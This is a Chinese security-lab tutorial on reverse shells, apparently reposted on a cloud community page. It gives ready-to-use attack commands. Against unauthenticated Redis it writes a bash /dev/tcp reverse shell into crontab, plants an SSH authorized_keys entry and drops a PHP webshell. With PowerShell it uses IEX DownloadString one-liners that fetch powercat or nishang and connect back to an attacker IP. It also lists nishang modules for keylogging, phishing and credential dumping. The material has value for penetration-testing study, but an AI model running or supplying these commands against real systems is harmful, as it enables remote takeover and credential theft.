专栏首页贝塔安全实验室反弹shell的学习总结 - Part 1

反弹shell的学习总结 - Part 1

本文作者:Cream(贝塔安全实验室-核心成员)

0x01:Redis未授权访问反弹shell

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

1. 安装redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar -xvzf redis-3.2.0.tar.gz cd redis-3.2.0 make

1.2 修改配置文件

vim redis.conf bind 127.0.0.1前面加上#号 # bind 202.139.21.100 protected-mode设为no 启动redis-server ./src/redis-server redis-conf

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

1.3 攻击利用

#### 1.redis基本命令 连接redis: redis-cli -h 192.168.63.130 查看redis版本信息、一些具体信息、服务器版本信息等等: 192.168.63.130:6379>info 将变量x的值设为test: 192.168.63.130:6379>set x "test" 获取设置的某个变量的值: 192.168.63.130:6379>get x 便可以看到之前设置的值 是把整个redis数据库删除,一般情况下不要用!!! 192.168.63.130:6379>flushall 查看所有键: 192.168.63.130:6379>KEYS * 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。 192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename #### 2.攻击的几种方法 ##### (1).利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口 nc -lvnp 7999 然后执行命令: root@kali:~# redis-cli -h 192.168.63.130 192.168.63.130:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" OK 192.168.63.130:6379> config set dir /var/spool/cron/ OK 192.168.63.130:6379> config set dbfilename root OK 192.168.63.130:6379> save OK

nc监听端口已经反弹回来shell

1.4 Redis的其他应用

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

1.4.1 写ssh-keygen公钥然后使用私钥登录

利用条件:

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

操作流程:

Step 1:首先在本地生成一对密钥:

root@kali:~/.ssh# ssh-keygen -t rsa

查看密钥:

然后在redis执行命令

192.168.63.130:6379> config set dir /root/.ssh/ OK 192.168.63.130:6379> config set dbfilename authorized_keys OK 192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx" OK 192.168.63.130:6379> save OK

之后直接使用公钥登录即可

1.4.2 往web物理路径(document root)写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

192.168.63.130:6379> config set dir /var/www/html/ OK 192.168.63.130:6379> config set dbfilename shell.php OK 192.168.63.130:6379> set x "<?php phpinfo();?>" OK 192.168.63.130:6379> save OK

即可将shell写入web目录(web目录根据实际情况)

访问之:

0x02:Powershell反弹shell

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。

各个系统中Powershell的版本如下:

操作系统

PowerShell版本

是否可升级

Window 7/Windows server 2008

2.0

可以升级3.0、4.0

Window 8/ Windows server 2012

3.0

可升级4.0

Window 8.1/ Windows server 2012 R2

4.0

升级5.0 5.1

可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:

2.1 powercat反弹shell

powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。

攻击者监听:

Nc –lvnp 9999 

目标机反弹CMD:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

或者在攻击者端执行下面的代码:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

2.2 nishang反弹shell

Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。

导入Nishang模块 Import-Module .\nishang.psm1 导入成功后,产看Nishang中模块 Get-Command –Module nishang

Nishang攻击模块有(只介绍部分):

  1. Check-VM:检测目标机器是否为虚拟机
  2. Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼
  3. Copy-VSS:利用Volume Shaodow Copy复制sam文件
  4. FireBuster FireLiStener:用作内网环境扫描
  5. Keylogger:用作键盘记录
  6. Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码
  7. Get-PassHashes:获取系统密码hash值
  8. ......

2.2.1 基于TCP的Powershell交互式shell

在目标机上执行如下的代码:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse  反向连接
- Bind 正向连接

反向连接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

注意:可将nishang下载到攻击者本地,执行如下的代码(此时推荐使用python搭建简易WEB服务):

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.14/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1. 4 -port 6666

正向连接:Invoke-PowerShellTcp -Bind -Port 4444

2.2.2 基于UDP的Powershell交互式shell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

在攻击者的电脑上执行如下的命令:

nc -lup 6005 

上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:

nc -nvu 192.168.1.24 4555

2.2.3 基于ICMP的Poershell交互式Shell

需要借助于icmpsh_m.py文件,其用法如下:

用法攻击机执行:

./icmpsh-m.py <source IP address> <destination IP address>

在被攻击的机器上执行:

Invoke-PowerShellIcmp -IPAddress <source IP address>

2.2.4 基于HTTP/HTTPS的Poershell交互式Shell

HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps  –IPAddess 192.168.1.4 –Port 4444然后会生成一个powershell如下的命令····IEX  ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell

本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab),作者:Cream

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 渗透系列之隐藏在发送邮件处的任意文件下载

    3、这里开始我们使用 burpsuite 进行抓包查看包文,发现控制发送 pdf 文件的参数可控,可进行任意文件下载。

    贝塔安全实验室
  • 权限维持之打造不一样的映像劫持后门

    “映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系...

    贝塔安全实验室
  • Harbor任意注册管理员漏洞复现-CVE-2019-16097

    镜像的存储harbor使用的是官方的docker registry(v2命名是distribution)服务去完成。harbor在docker distribu...

    贝塔安全实验室
  • 熟练运用PPT母板 ,让你的工作效率成倍提高

    用户1756920
  • 祥云无界联合国际公益链基金会爱心捐赠活动走进兴山县黄粮小学

    2018年6月1日上午,祥云无界部分员工和国际公益链基金会员一行30余人在湖北祥云无界电子商务有限公司创始人&CEO熊刚先生的带领下,来到湖北省宜昌市兴山县黄粮...

    D13
  • Learning Rate Decay

    最左边的图由于learning rate设置小了,可能需要大量时间才能找到全局最小值;中间的图表示learning rate设置的刚刚好,则很快就能找到全局最小...

    mathor
  • 2018年最好的医疗网站设计及配色赏析

    随着人们对医疗健康认识水平的提高,相关的医疗服务和医疗网站设计也在不断规范化。从网站设计的角度来讲,医疗网站对于医疗内部来说就是连通整个医院的信息高速公路;而对...

    奔跑的小鹿
  • 提高PPT制作效率的9个小技巧,据说贾跃亭都没这技能~

    一提到做PPT,很多人估计会愁眉苦脸,既苦于自己灵感匮乏设计出的PPT不美观,没逻辑,又苦于自己在制作过程中花费在软件操作上的时间太多。 而今天,我们来聊一聊如...

    BestSDK
  • Merit价值与成果管理系统——2、首页以及按时段统计

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

    hotqin888
  • 谈一谈|如何5分钟上手,快速搭建网站?

    当下很多网站开发者在开发网站时主要面临两大问题:1.代码不会写;2.没有服务器。第一点主要是针对入门编程不久的小白,第二点则是大部分开发者的通病。今天给大家介绍...

    算法与编程之美

扫码关注云+社区

领取腾讯云代金券